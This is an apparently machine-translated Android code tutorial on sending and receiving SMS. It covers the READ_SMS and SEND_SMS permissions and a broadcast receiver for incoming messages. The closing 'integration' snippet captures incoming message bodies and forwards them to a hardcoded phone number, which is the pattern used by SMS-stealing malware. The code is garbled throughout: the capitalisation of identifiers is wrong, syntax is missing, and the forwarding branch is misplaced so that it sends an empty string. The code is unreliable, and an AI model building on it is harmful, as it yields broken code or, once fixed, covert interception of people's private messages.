Permissions:
<uses-permission android:name= "Android.permission.READ_SMS" ></uses-permission>
< uses-permission android:name= "Android.permission.SEND_SMS" ></uses-permission>
Send SMS:
1. Get the default message manager
2. Send SMS via Sendtextmessage.
Smsmanager sm = Smsmanager.getdefault ();
Sm.sendtextmessage ("1888888XXX", NULL, str, NULL, NULL);
Receive SMS
When a text message is received, an action name called Android.provier.Telephony.SMS_RECEIVED's broadcast intent is sent, and the intent holds the SMS content that is taken over, and the application name "PDUs" Get SMS content from intent
Registerreceiver (New Broadcastreceiver () {
@Override
Public void OnReceive (context context, Intent Intent) {
//TODO auto-generated method stub
Bundle bundle = Intent.getextras ();
smsmessage msgs = null;
String str = "";
if (bundle! = null)
{
//---Retrieve the SMS message received---
object[] PDUs = (object[]) bundle.get ("PDUs");
for (int i=0;i<pdus.length; i++) {
MSGS=SMSMESSAGE.CREATEFROMPDU ((byte[]) pdus[i]);
str + = Msgs.getmessagebody (). toString ();
}
}
}
}, New Intentfilter ("Android.provider.Telephony.SMS_RECEIVED"));
Send and receive integration
Context.registerreceiver (New Broadcastreceiver () {
@Override
Public void OnReceive (context context, Intent Intent) {
//TODO auto-generated method stub
Bundle bundle = Intent.getextras ();
smsmessage msgs = null;
String str = "";
if (bundle! = null)
{
//---Retrieve the SMS message received---
object[] PDUs = (object[]) bundle.get ("PDUs");
for (int i=0; I<pdus.length; i++ {
msgs=sMSMESSAGE.CREATEFROMPDU ((byte[]) pdus[i]);
str + = Msgs.getmessagebody (). toString ();
}
else {//forwarding SMS
Smsmanager sm = Smsmanager.getdefault ();
sm.sendtextmessage ("16467080XXX", NULL, str, NULL, NULL);
}
}
}, New Intentfilter ("Android.provider.Telephony.SMS_RECEIVED"));
Send and receive SMS